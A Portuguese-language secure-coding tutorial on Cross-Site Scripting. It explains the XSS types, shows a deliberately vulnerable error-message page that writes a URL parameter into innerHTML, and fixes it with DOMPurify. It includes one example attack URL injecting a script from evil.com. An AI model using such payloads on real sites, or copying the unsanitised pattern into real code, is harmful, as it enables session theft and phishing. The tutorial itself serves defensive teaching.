Introdução
Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança que permite que atacantes injetem código malicioso (geralmente JavaScript) em páginas web legítimas. Este código é então executado no navegador dos usuários que visitam a página afetada.
Existem três principais tipos principais de XSS:
- Reflected: O código malicioso é refletido de volta ao usuário a partir da aplicação web, geralmente através de parâmetros na URL ou em campos de formulário. O ataque ocorre quando o usuário clica em um link malicioso ou envia um formulário adulterado.
- Stored: O código malicioso é armazenado no servidor da aplicação web (por exemplo, em um banco de dados) e exibido aos usuários sempre que acessam a página afetada. Este tipo de XSS é particularmente perigoso, pois pode afetar um grande número de usuários.
- DOM Based: O código malicioso é executado como resultado da manipulação do Document Object Model (DOM) no navegador do usuário. Este tipo de XSS não envolve a interação direta com o servidor da aplicação web.
Cenário Vulnerável
Imagine que estamos criando uma tela de erro genérica, onde passamos a mensagem por query string e ela é renderizada na tela. Em nosso javascript vemos algo assim:
function displayErrorMessage() { const urlParams = new URLSearchParams(window.location.search); const errorMessage = urlParams.get('errorMessage');
if (errorMessage) { const errorDiv = document.getElementById('error-message');
errorDiv.innerHTML = errorMessage; errorDiv.style.display = 'block'; }}O que aconteceria se um atacante enviasse o seguinte link para uma vítima?
https://company.com.br/error?errorMessage=<script src="https://evil.com/script.js" />- Este script seria renderizado no corpo da página.
- Logo iria realizar o dowload de
https://evil.com/script.js. - Este script seria executado no navegador da vítima.
Riscos
As consequências de um ataque XSS podem ser graves:
- Roubo de Sessão: O atacante pode roubar a sessão do usuário, permitindo que ele se passe pela vítima e acesse informações confidenciais.
- Phishing: O atacante pode modificar a página para exibir um formulário de login falso, coletando as credenciais dos usuários.
- Instalação de Malware: O atacante pode redirecionar o usuário para um site malicioso que instala malware em seu computador.
- Desfiguração de Página: O atacante pode alterar a aparência da página, inserindo conteúdo indesejado ou ofensivo.
Como Corrigir
Como regra principal:
Caso necessitemos de fato renderizar algo vindo de um parâmero, devemos sanitizar este valor antes de injetá-los na página.
Para isso, podemos utilizar uma ferramena como DOMPurify.
function displayErrorMessage() { const urlParams = new URLSearchParams(window.location.search); const errorMessage = urlParams.get('errorMessage');
if (errorMessage) { const errorDiv = document.getElementById('error-message');
errorDiv.innerHTML = DOMPurify.sanitize(errorMessage); errorDiv.style.display = 'block'; }}Frameworks
Alguns frameworks como React ou Angular já possuem certa proteção contra ataques de cross-site scripting.
Porém estas proteções podem ser afetadas caso utilizemos algumas má práticas relacionadas à tecnologia em si.
Caso utilize um framework em específico, procure por {MY FRAMEWORK} xss prevention.
Aqui vão alguns recursos:
- Stackhawk | React XSS Guide: Examples and Prevention
- Stackhawk | Angular XSS Guide: Examples and Prevention